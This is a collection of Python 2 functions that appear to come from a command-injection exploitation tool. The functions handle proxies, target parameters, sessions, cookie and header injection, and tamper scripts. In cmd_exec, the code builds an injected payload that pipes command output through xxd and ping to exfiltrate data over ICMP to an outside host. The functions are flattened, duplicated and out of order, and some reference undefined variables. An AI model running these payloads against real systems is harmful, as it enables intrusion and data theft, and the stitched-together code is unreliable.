def get_request_response(request): # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \ settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None: print "" if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() response = False except urllib2.URLError, err_msg: if "Connection refused" in err_msg.reason: err_msg = "The target host is not responding. " err_msg += "Please ensure that is up and try again." if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \ settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None: print "" if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err_msg) raise SystemExit()
def do_check(url): check_proxy = True info_msg = "Testing proxy " + menu.options.proxy + "... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_PROTOCOL) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + " ]\n") sys.stdout.flush() else: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Could not connect to proxy." print settings.print_critical_msg(err_msg) sys.exit(0)
def do_POST_check(parameter): http_request_method = "POST" # Do replacement with the 'INJECT_HERE' tag, if the wild card char is provided. parameter = checks.wildcard_character(parameter).replace("'","\"") # Check if JSON Object. if checks.is_JSON_check(parameter): if not settings.IS_JSON: checks.process_json_data() settings.PARAMETER_DELIMITER = "," # Check if XML Object. elif checks.is_XML_check(parameter): if not settings.IS_XML: checks.process_xml_data() settings.PARAMETER_DELIMITER = "" else: pass parameters_list = [] # Split multiple parameters if settings.IS_XML: _ = [] parameters = re.findall(r'(.*)', parameter) parameters = [param + "\n" for param in parameters if param] for value in range(0,len(parameters)): _.append(parameters[value]) multi_parameters = _ else: try: multi_parameters = parameter.split(settings.PARAMETER_DELIMITER) multi_parameters = [x for x in multi_parameters if x] except ValueError, err_msg: print settings.print_critical_msg(err_msg) raise SystemExit()
def application_identification(server_banner, url): found_application_extension = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifying the target application ... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() root, application_extension = splitext(urlparse(url).path) settings.TARGET_APPLICATION = application_extension[1:].upper() if settings.TARGET_APPLICATION: found_application_extension = True if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" success_msg = "The target application was identified as " success_msg += settings.TARGET_APPLICATION + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) # Check for unsupported target applications for i in range(0,len(settings.UNSUPPORTED_TARGET_APPLICATION)): if settings.TARGET_APPLICATION.lower() in settings.UNSUPPORTED_TARGET_APPLICATION[i].lower(): err_msg = settings.TARGET_APPLICATION + " exploitation is not yet supported." print settings.print_critical_msg(err_msg) raise SystemExit() if not found_application_extension: if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" warn_msg = "Heuristics have failed to identify target application." print settings.print_warning_msg(warn_msg)
def is_empty(multi_parameters, http_request_method): provided_value = [] multi_params = [s for s in multi_parameters] for empty in multi_params: try: if settings.IS_JSON: if re.findall(r'\:\"(.*)\"', empty)[0] == "": provided_value.append(re.findall(r'\"(.*)\"\:\"', empty)[0]) elif settings.IS_XML: if re.findall(r'>(.*)<', empty)[0] == "" or \ re.findall(r'>(.*)<', empty)[0] == " ": provided_value.append(re.findall(r'</(.*)>', empty)[0]) elif len(empty.split("=")[1]) == 0: provided_value.append(empty.split("=")[0]) except IndexError: if not settings.IS_XML: err_msg = "No parameter(s) found for testing in the provided data." print settings.print_critical_msg(err_msg) raise SystemExit() provided_value = ", ".join(provided_value) if len(provided_value) > 0: if menu.options.skip_empty and len(multi_parameters) > 1: skip_empty(provided_value, http_request_method) else: warn_msg = "The provided value"+ "s"[len(provided_value.split(",")) == 1:][::-1] warn_msg += " for "+ http_request_method + " parameter" + "s"[len(provided_value.split(",")) == 1:][::-1] warn_msg += " '" + provided_value + "'" warn_msg += (' are ', ' is ')[len(provided_value.split(",")) == 1] + "empty. " warn_msg += "Use valid " warn_msg += "values to run properly." print settings.print_warning_msg(warn_msg) return True
def get_request_response(request): # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err_msg: if settings.IGNORE_ERR_MSG == False: err_msg = str(err_msg) + "." if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \ settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None: print "" print settings.print_critical_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() response = False except urllib2.URLError, err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err_msg) raise SystemExit()
def icmp_exfiltration_handler(url, http_request_method): # You need to have root privileges to run this script if os.geteuid() != 0: err_msg = "You need to have root privileges to run this option." print settings.print_critical_msg(err_msg) + "\n" os._exit(0) if http_request_method == "GET": #url = parameters.do_GET_check(url) vuln_parameter = parameters.vuln_GET_param(url) request = urllib2.Request(url) headers.do_check(request) else: parameter = menu.options.data parameter = urllib2.unquote(parameter) parameter = parameters.do_POST_check(parameter) request = urllib2.Request(url, parameter) headers.do_check(request) vuln_parameter = parameters.vuln_POST_param(parameter, url) # Check if defined any HTTP Proxy. if menu.options.proxy: try: response = proxy.use_proxy(request) except urllib2.HTTPError, err_msg: if settings.IGNORE_ERR_MSG == False: print "\n" + settings.print_critical_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: os._exit(0)
def authentication_process(): try: auth_url = menu.options.auth_url auth_data = menu.options.auth_data cj = cookielib.CookieJar() opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj)) request = opener.open(urllib2.Request(auth_url)) cookies = "" for cookie in cj: cookie_values = cookie.name + "=" + cookie.value + "; " cookies += cookie_values if len(cookies) != 0 : menu.options.cookie = cookies.rstrip() if settings.VERBOSITY_LEVEL >= 1: success_msg = "The received cookie is " success_msg += menu.options.cookie + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) urllib2.install_opener(opener) request = urllib2.Request(auth_url, auth_data) # Check if defined extra headers. headers.do_check(request) #headers.check_http_traffic(request) # Get the response of the request. response = urllib2.urlopen(request) return response except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) raise SystemExit()
def cmd_exec(http_request_method, cmd, url, vuln_parameter, ip_src): global add_new_line # ICMP exfiltration payload. payload = ("; " + cmd + " | xxd -p -c" + str(exfiltration_length) + " | while read line; do ping -p $line -c1 -s" + str(exfiltration_length * 2) + " -q " + ip_src + "; done") # Check if defined "--verbose" option. if settings.VERBOSITY_LEVEL >= 1: info_msg = "Executing the '" + cmd + "' command... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() sys.stdout.write("\n" + settings.print_payload(payload) + "\n") if http_request_method == "GET": url = url.replace(settings.INJECT_TAG, "") data = payload.replace(" ", "%20") req = url + data else: values = {vuln_parameter:payload} data = urllib.urlencode(values) req = urllib2.Request(url=url, data=data) try: sys.stdout.write(Fore.GREEN + Style.BRIGHT + "\n") response = urllib2.urlopen(req) time.sleep(3) sys.stdout.write(Style.RESET_ALL) if add_new_line: print "\n" add_new_line = True else: print "" except urllib2.HTTPError, err_msg: print settings.print_critical_msg(str(err_msg.code)) raise SystemExit()
def http_auth_err_msg(): err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\")" err_msg += " or use the '--ignore-401' option to ignore HTTP error 401 (Unauthorized)" err_msg += " and continue tests without providing valid credentials." print settings.print_critical_msg(err_msg) sys.exit(0)
def warning_detection(url, http_request_method): try: # Find the host part url_part = url.split("=")[0] request = urllib2.Request(url_part) # Check if defined extra headers. headers.do_check(request) response = requests.get_request_response(request) if response: response = urllib2.urlopen(request) html_data = response.read() err_msg = "" if "eval()'d code" in html_data: err_msg = "'eval()'" if "Cannot execute a blank command in" in html_data: err_msg = "execution of a blank command," if "sh: command substitution:" in html_data: err_msg = "command substitution" if "Warning: usort()" in html_data: err_msg = "'usort()'" if re.findall(r"=/(.*)/&", url): if "Warning: preg_replace():" in html_data: err_msg = "'preg_replace()'" url = url.replace("/&","/e&") if "Warning: assert():" in html_data: err_msg = "'assert()'" if "Failure evaluating code:" in html_data: err_msg = "code evaluation" if err_msg != "": warn_msg = "A failure message on " + err_msg + " was detected on page's response." print settings.print_warning_msg(warn_msg) return url except urllib2.HTTPError, err_msg: print settings.print_critical_msg(err_msg) raise SystemExit()
def do_check(url): check_proxy = True try: if settings.VERBOSITY_LEVEL >= 1: info_msg = "Setting the HTTP proxy for all HTTP requests... " print settings.print_info_msg(info_msg) # Check if defined POST data if menu.options.data: request = urllib2.Request(url, menu.options.data) else: request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME) try: check = urllib2.urlopen(request) except urllib2.HTTPError, error: check = error except: check_proxy = False pass if check_proxy == True: pass else: err_msg = "Unable to connect to the target URL or proxy (" err_msg += menu.options.proxy err_msg += ")." print settings.print_critical_msg(err_msg) raise SystemExit()
def injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ip" + \ "(id INTEGER PRIMARY KEY, url VARCHAR, technique VARCHAR, injection_type VARCHAR, separator VARCHAR," \ "shell VARCHAR, vuln_parameter VARCHAR, prefix VARCHAR, suffix VARCHAR, "\ "TAG VARCHAR, alter_shell VARCHAR, payload VARCHAR, http_header VARCHAR, http_request_method VARCHAR, url_time_response INTEGER, "\ "timesec INTEGER, how_long INTEGER, output_length INTEGER, is_vulnerable VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ip(url, technique, injection_type, separator, "\ "shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_header, http_request_method, "\ "url_time_response, timesec, how_long, output_length, is_vulnerable) "\ "VALUES(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)", \ (str(url), str(technique), str(injection_type), \ str(separator), str(shell), str(vuln_parameter), str(prefix), str(suffix), \ str(TAG), str(alter_shell), str(payload), str(settings.HTTP_HEADER), str(http_request_method), \ int(url_time_response), int(timesec), int(how_long), \ int(output_length), str(is_vulnerable))) conn.commit() conn.close() if settings.INJECTION_CHECKER == False: settings.INJECTION_CHECKER = True except sqlite3.OperationalError, err_msg: err_msg = str(err_msg)[:1].upper() + str(err_msg)[1:] + "." err_msg += " You are advised to rerun with switch '--flush-session'." print settings.print_critical_msg(err_msg) raise SystemExit()
def wildcard_character(data): if settings.WILDCARD_CHAR in data: data = data.replace(settings.WILDCARD_CHAR, settings.INJECT_TAG) if data.count(settings.WILDCARD_CHAR) + data.count(settings.INJECT_TAG) > 1: err_msg = "You specified more than one testable parameters. " err_msg += "Use the '-p' option to define them (i.e -p \"id1,id2\"). " print settings.print_critical_msg(err_msg) raise SystemExit() return data
def execute_shell(url, cmd, cve, check_header, filename, os_shell_option): shell, payload = cmd_exec(url, cmd, cve, check_header, filename) if settings.VERBOSITY_LEVEL >= 1: print "" err_msg = "The " + os_shell_option.split("_")[0] + " " err_msg += os_shell_option.split("_")[1].upper() + " connection has failed!" print settings.print_critical_msg(err_msg)
def flush(url): try: conn = sqlite3.connect(settings.SESSION_FILE) tables = list(conn.execute("SELECT name FROM sqlite_master WHERE type is 'table'")) conn.executescript(';'.join(["DROP TABLE IF EXISTS %s" %i for i in tables])) conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def no_readline_module(): err_msg = "It seems that your platform does " err_msg += "not have GNU 'readline' module installed." err_msg += " Download the" if settings.IS_WINDOWS: err_msg += " 'pyreadline' module (https://pypi.python.org/pypi/pyreadline)." else: err_msg += " 'gnureadline' module (https://pypi.python.org/pypi/gnureadline)." print settings.print_critical_msg(err_msg)
def custom_header_injection(url, vuln_parameter, payload): def inject_custom_header(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) request = urllib2.Request(url) #Check if defined extra headers. headers.do_check(request) request.add_header(settings.CUSTOM_HEADER_NAME, urllib.unquote(payload)) try: response = opener.open(request) return response except ValueError: pass if settings.TIME_RELATIVE_ATTACK : start = 0 end = 0 start = time.time() proxy = None response = inject_custom_header(url, vuln_parameter, payload, proxy) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = urllib2.ProxyHandler({settings.PROXY_PROTOCOL : menu.options.proxy}) response = inject_custom_header(url, vuln_parameter, payload, proxy) except urllib2.HTTPError, err_msg: if str(err_msg.code) == settings.INTERNAL_SERVER_ERROR: response = False elif settings.IGNORE_ERR_MSG == False: err = str(err_msg) + "." if not settings.VERBOSITY_LEVEL >= 1 and settings.TIME_BASED_STATE == False or \ settings.VERBOSITY_LEVEL >= 1 and settings.EVAL_BASED_STATE == None: print "" if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err) continue_tests = checks.continue_tests(err_msg) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() response = False except urllib2.URLError, err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err_msg) raise SystemExit()
def ignore(url): info_msg = "Ignoring the stored session from the session file... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if os.path.isfile(settings.SESSION_FILE): print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" else: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" err_msg = "The session file does not exist." print settings.print_critical_msg(err_msg)
def clear(url): try: if no_such_table: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("DELETE FROM " + table_name(url) + "_ip WHERE \ id NOT IN (SELECT MAX(id) FROM " + \ table_name(url) + "_ip GROUP BY technique);") conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def injection_point_exportation(url, http_request_method): try: if not menu.options.flush_session: conn = sqlite3.connect(settings.SESSION_FILE) result = conn.execute("SELECT * FROM sqlite_master WHERE name = '" + \ table_name(url) + "_ip' AND type = 'table';") if result: if menu.options.tech[:1] == "c" or \ menu.options.tech[:1] == "e": select_injection_type = "R" elif menu.options.tech[:1] == "t": select_injection_type = "B" else: select_injection_type = "S" if settings.TESTABLE_PARAMETER: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE \ url = '" + url + "' AND \ injection_type like '" + select_injection_type + "%' AND \ vuln_parameter = '" + settings.TESTABLE_PARAMETER + "' AND \ http_request_method = '" + http_request_method + "' \ ORDER BY id DESC limit 1;") else: cursor = conn.execute("SELECT * FROM " + table_name(url) + "_ip WHERE \ url = '" + url + "' AND \ injection_type like '" + select_injection_type + "%' AND \ http_header = '" + settings.HTTP_HEADER + "' AND \ http_request_method = '" + http_request_method + "' \ ORDER BY id DESC limit 1;") for session in cursor: url = session[1] technique = session[2] injection_type = session[3] separator = session[4] shell = session[5] vuln_parameter = session[6] prefix = session[7] suffix = session[8] TAG = session[9] alter_shell = session[10] payload = session[11] http_request_method = session[13] url_time_response = session[14] delay = session[15] how_long = session[16] output_length = session[17] is_vulnerable = session[18] return url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, delay, how_long, output_length, is_vulnerable else: no_such_table = True pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg) settings.LOAD_SESSION = False return False
def notification(url, technique, injection_type): try: if settings.LOAD_SESSION == True: info_msg = "A previously stored session has been held against that host." print settings.print_info_msg(info_msg) while True: if not menu.options.batch: question_msg = "Do you want to resume to the " question_msg += "(" + injection_type.split(" ")[0] + ") " question_msg += technique.rsplit(' ', 2)[0] question_msg += " injection point? [Y/n] > " sys.stdout.write(settings.print_question_msg(question_msg)) settings.LOAD_SESSION = sys.stdin.readline().replace("\n","").lower() else: settings.LOAD_SESSION = "" if len(settings.LOAD_SESSION) == 0: settings.LOAD_SESSION = "y" if settings.LOAD_SESSION in settings.CHOICE_YES: return True elif settings.LOAD_SESSION in settings.CHOICE_NO: settings.LOAD_SESSION = False if technique[:1] != "c": while True: question_msg = "Which technique do you want to re-evaluate? [(C)urrent/(a)ll/(n)one] > " sys.stdout.write(settings.print_question_msg(question_msg)) proceed_option = sys.stdin.readline().replace("\n","").lower() if len(proceed_option) == 0: proceed_option = "c" if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "a": settings.RETEST = True break elif proceed_option.lower() == "c" : settings.RETEST = False break elif proceed_option.lower() == "n": raise SystemExit() else: pass else: err_msg = "'" + proceed_option + "' is not a valid answer." print settings.print_error_msg(err_msg) pass if settings.SESSION_APPLIED_TECHNIQUES: menu.options.tech = ''.join(settings.AVAILABLE_TECHNIQUES) return False elif settings.LOAD_SESSION in settings.CHOICE_QUIT: raise SystemExit() else: err_msg = "'" + settings.LOAD_SESSION + "' is not a valid answer." print settings.print_error_msg(err_msg) pass except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def store_cmd(url, cmd, shell, vuln_parameter): try: conn = sqlite3.connect(settings.SESSION_FILE) conn.execute("CREATE TABLE IF NOT EXISTS " + table_name(url) + "_ir" + \ "(cmd VARCHAR, output VARCHAR, vuln_parameter VARCHAR);") conn.execute("INSERT INTO " + table_name(url) + "_ir(cmd, output, vuln_parameter) \ VALUES(?,?,?)", \ (str(base64.b64encode(cmd)), str(base64.b64encode(shell)), str(vuln_parameter))) conn.commit() conn.close() except sqlite3.OperationalError, err_msg: print settings.print_critical_msg(err_msg)
def is_JSON_check(parameter): try: json_object = json.loads(parameter) if re.search(settings.JSON_RECOGNITION_REGEX, parameter) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, parameter): return True except ValueError, err_msg: if not "No JSON object could be decoded" in err_msg: err_msg = "JSON " + str(err_msg) + ". " print settings.print_critical_msg(err_msg) + "\n" raise SystemExit() return False
def user_defined_os(): if menu.options.os: if menu.options.os.lower() == "windows": settings.TARGET_OS = "win" return True elif menu.options.os.lower() == "unix": return True else: err_msg = "You specified wrong value '" + menu.options.os + "' " err_msg += "as an operation system. The value, must be 'Windows' or 'Unix'." print settings.print_critical_msg(err_msg) raise SystemExit()
def use_proxy(request): headers.do_check(request) request.set_proxy(menu.options.proxy,settings.PROXY_SCHEME) try: response = urllib2.urlopen(request) return response except httplib.BadStatusLine, e: err_msg = "Unable to connect to the target URL or proxy (" err_msg += menu.options.proxy err_msg += ")." print settings.print_critical_msg(err_msg) raise SystemExit()
def cookie_injection(url, vuln_parameter, payload): def inject_cookie(url, vuln_parameter, payload, proxy): if proxy == None: opener = urllib2.build_opener() else: opener = urllib2.build_opener(proxy) if settings.TIME_RELATIVE_ATTACK : payload = urllib.quote(payload) opener.addheaders.append(('Cookie', vuln_parameter + "=" + payload)) request = urllib2.Request(url) # Check if defined extra headers. headers.do_check(request) try: response = opener.open(request) return response except ValueError: pass if settings.TIME_RELATIVE_ATTACK : start = 0 end = 0 start = time.time() proxy = None response = inject_cookie(url, vuln_parameter, payload, proxy) # Check if defined any HTTP Proxy. if menu.options.proxy: try: proxy = urllib2.ProxyHandler({settings.PROXY_PROTOCOL : menu.options.proxy}) response = inject_cookie(url, vuln_parameter, payload, proxy) except urllib2.HTTPError, err: if settings.IGNORE_ERR_MSG == False: err_msg = str(err) + "." print "\n" + settings.print_critical_msg(err_msg) continue_tests = checks.continue_tests(err) if continue_tests == True: settings.IGNORE_ERR_MSG = True else: raise SystemExit() response = False except urllib2.URLError, err_msg: err_msg = str(err_msg.reason).split(" ")[2:] err_msg = ' '.join(err_msg)+ "." if settings.VERBOSITY_LEVEL >= 1 and settings.LOAD_SESSION == False: print "" print settings.print_critical_msg(err_msg) raise SystemExit()
def tamper(payload): if settings.WHITESPACE[0] == "+": err_msg = "Tamper script '" + __tamper__ + "' is unlikely to work combined with the tamper script 'space2plus'." if settings.VERBOSITY_LEVEL == 0: print "" print settings.print_critical_msg(err_msg) raise SystemExit() else: payload = urllib.unquote(payload) payload = base64.b64encode(payload) return payload # eof
def encoding_detection(response): if not menu.options.encoding: charset_detected = False if settings.VERBOSITY_LEVEL >= 1: info_msg = "Identifing the indicated web-page charset... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: # Detecting charset charset = response.headers.getparam('charset') if len(charset) != 0 : charset_detected = True else: content = re.findall(r";charset=(.*)\"", html_data) if len(content) != 0 : charset = content charset_detected = True else: # Check if HTML5 format charset = re.findall(r"charset=['\"](.*?)['\"]", html_data) if len(charset) != 0 : charset_detected = True # Check the identifyied charset if charset_detected : settings.DEFAULT_ENCODING = charset if settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.GREEN + "SUCCEED" + Style.RESET_ALL + " ]" settings.ENCODING = charset.lower() if settings.ENCODING.lower() not in settings.ENCODING_LIST: warn_msg = "The indicated web-page charset " + settings.ENCODING + " seems unknown." print settings.print_warning_msg(warn_msg) else: if settings.VERBOSITY_LEVEL >= 1: success_msg = "The indicated web-page charset appears to be " success_msg += settings.ENCODING + Style.RESET_ALL + "." print settings.print_success_msg(success_msg) else: pass except: pass if charset_detected == False and settings.VERBOSITY_LEVEL >= 1: print "[ " + Fore.RED + "FAILED" + Style.RESET_ALL + " ]" else: settings.ENCODING = menu.options.encoding if settings.ENCODING.lower() not in settings.ENCODING_LIST: err_msg = "The user-defined charset '" + settings.ENCODING + "' seems unknown. " err_msg += "Please visit 'http://docs.python.org/library/codecs.html#standard-encodings' " err_msg += "to get the full list of supported charsets." print settings.print_critical_msg(err_msg) raise SystemExit()
def do_check(url, filename): if perform_checks(url,filename) == False: if menu.options.level == None: menu.options.level = settings.DEFAULT_INJECTION_LEVEL scan_level = menu.options.level while scan_level < settings.HTTP_HEADER_INJECTION_LEVEL and settings.LOAD_SESSION == None: question_msg = "Do you want to increase to '--level=" + str(scan_level + 1) question_msg += "' in order to perform more tests? [Y/n/q] > " sys.stdout.write(settings.print_question_msg(question_msg)) next_level = sys.stdin.readline().replace("\n","").lower() if next_level in settings.CHOICE_YES: menu.options.level = int(menu.options.level + scan_level) if perform_checks(url,filename) == False and scan_level < settings.HTTP_HEADER_INJECTION_LEVEL : scan_level = scan_level + 1 else: break elif next_level in settings.CHOICE_NO: break elif next_level in settings.CHOICE_QUIT: sys.exit(0) else: if next_level == "": next_level = "enter" err_msg = "'" + next_level + "' is not a valid answer." print settings.print_error_msg(err_msg) pass # All injection techniques seems to be failed! if settings.CLASSIC_STATE == settings.EVAL_BASED_STATE == settings.TIME_BASED_STATE == settings.FILE_BASED_STATE == False : print menu.options.level if settings.INJECTION_CHECKER == False: err_msg = "All tested parameters " if menu.options.level > 2: err_msg += "and headers " err_msg += "appear to be not injectable." if not menu.options.alter_shell : err_msg += " Try to use the option '--alter-shell'" else: err_msg += " Try to remove the option '--alter-shell'" if menu.options.level < settings.HTTP_HEADER_INJECTION_LEVEL : err_msg += " and/or try to increase '--level' values to perform" err_msg += " more tests (i.e 'User-Agent', 'Referer', 'Cookie' etc)" err_msg += "." print settings.print_critical_msg(err_msg) sys.exit(0) #eof
def inappropriate_format(multi_parameters): err_msg = "The provided parameter" + "s"[len(multi_parameters) == 1:][::-1] err_msg += (' are ', ' is ')[len(multi_parameters) == 1] err_msg += "not in appropriate format." print settings.print_critical_msg(err_msg) sys.exit(0)
def logfile_parser(): """ Warning message for mutiple request in same log file. """ def multi_requests(): print "[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]" warn_msg = "Multiple" if menu.options.requestfile: warn_msg += " requests" elif menu.options.logfile: warn_msg += " targets" warn_msg += " are not supported, thus all coming" if menu.options.requestfile: warn_msg += " requests " elif menu.options.logfile: warn_msg += " targets " warn_msg += "will be ignored." sys.stdout.write(settings.print_warning_msg(warn_msg) + "\n") sys.stdout.flush() return False """ Error message for invalid data. """ def invalid_data(request, single_request): if single_request: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Something seems to be wrong with " err_msg += "the '" + os.path.split(request_file)[1] + "' file. " sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() sys.exit(0) if menu.options.requestfile: request_file = menu.options.requestfile info_msg = "Parsing HTTP request " elif menu.options.logfile: request_file = menu.options.logfile info_msg = "Parsing target " info_msg += "using the '" + os.path.split(request_file)[1] + "' file... " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() if not os.path.exists(request_file): print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "It seems that the '" + request_file + "' file, does not exist." sys.stdout.write(settings.print_critical_msg(err_msg) + "\n") sys.stdout.flush() sys.exit(0) else: # Check for multiple hosts request = open(request_file, "r") words_dict = {} for word in request.read().strip().splitlines(): if word[:4].strip() == "GET" or word[:4].strip() == "POST": words_dict[word[:4].strip()] = words_dict.get( word[:4].strip(), 0) + 1 # Check if same header appears more than once. single_request = True if len(words_dict.keys()) > 1: single_request = multi_requests() for key in words_dict.keys(): if words_dict[key] > 1: single_request = multi_requests() # Check for GET / POST HTTP Header for http_header in ["GET", "POST"]: request = open(request_file, "r") request = request.read() if "\\n" in request: request = request.replace("\\n", "\n") request_url = re.findall(r"" + http_header + " (.*) ", request) if request_url: if not single_request: request_url = request_url[0] if http_header == "POST": # Check for POST Data. result = [item for item in request.splitlines() if item] menu.options.data = result[len(result) - 1] else: try: # Check if url ends with "=". if request_url[0].endswith("="): request_url = request_url[0].replace( "=", "=" + settings.INJECT_TAG, 1) except IndexError: invalid_data(request_file, single_request) break # Check if invalid data if not request_url: invalid_data(request_file, single_request) else: request_url = "".join([str(i) for i in request_url]) # Check for other headers extra_headers = "" prefix = "http://" for line in request.splitlines(): if re.findall(r"Host: " + "(.*)", line): menu.options.host = "".join( [str(i) for i in re.findall(r"Host: " + "(.*)", line)]) # User-Agent Header elif re.findall(r"User-Agent: " + "(.*)", line): menu.options.agent = "".join([ str(i) for i in re.findall(r"User-Agent: " + "(.*)", line) ]) # Cookie Header elif re.findall(r"Cookie: " + "(.*)", line): menu.options.cookie = "".join( [str(i) for i in re.findall(r"Cookie: " + "(.*)", line)]) # Referer Header elif re.findall(r"Referer: " + "(.*)", line): menu.options.referer = "".join( [str(i) for i in re.findall(r"Referer: " + "(.*)", line)]) if menu.options.referer and "https://" in menu.options.referer: prefix = "https://" elif re.findall(r"Authorization: " + "(.*)", line): auth_provided = "".join([ str(i) for i in re.findall(r"Authorization: " + "(.*)", line) ]).split() menu.options.auth_type = auth_provided[0].lower() if menu.options.auth_type == "basic": menu.options.auth_cred = base64.b64decode(auth_provided[1]) elif menu.options.auth_type == "digest": if not menu.options.auth_cred: print "[" + Fore.RED + " FAILED " + Style.RESET_ALL + "]" err_msg = "Use the '--auth-cred' option to provide a valid pair of " err_msg += "HTTP authentication credentials (i.e --auth-cred=\"admin:admin\") " print settings.print_critical_msg(err_msg) sys.exit(0) # Add extra headers else: match = re.findall(r"(.*): (.*)", line) match = "".join([str(i) for i in match]).replace("', '", ":") match = match.replace("('", "") match = match.replace("')", "\\n") # Ignore some header. if "Content-Length" or "Accept-Encoding" in match: extra_headers = extra_headers else: extra_headers = extra_headers + match # Extra headers menu.options.headers = extra_headers # Target URL if not menu.options.host: invalid_data(request_file, single_request) else: menu.options.url = prefix + menu.options.host + request_url if single_request: sys.stdout.write("[" + Fore.GREEN + " SUCCEED " + Style.RESET_ALL + "]\n") sys.stdout.flush() if menu.options.logfile: info_msg = "Parsed target from '" + os.path.split( request_file)[1] + "' for tests :" print settings.print_info_msg(info_msg) print settings.SUB_CONTENT_SIGN + http_header + " " + prefix + menu.options.host + request_url if http_header == "POST": print settings.SUB_CONTENT_SIGN + "Data: " + menu.options.data
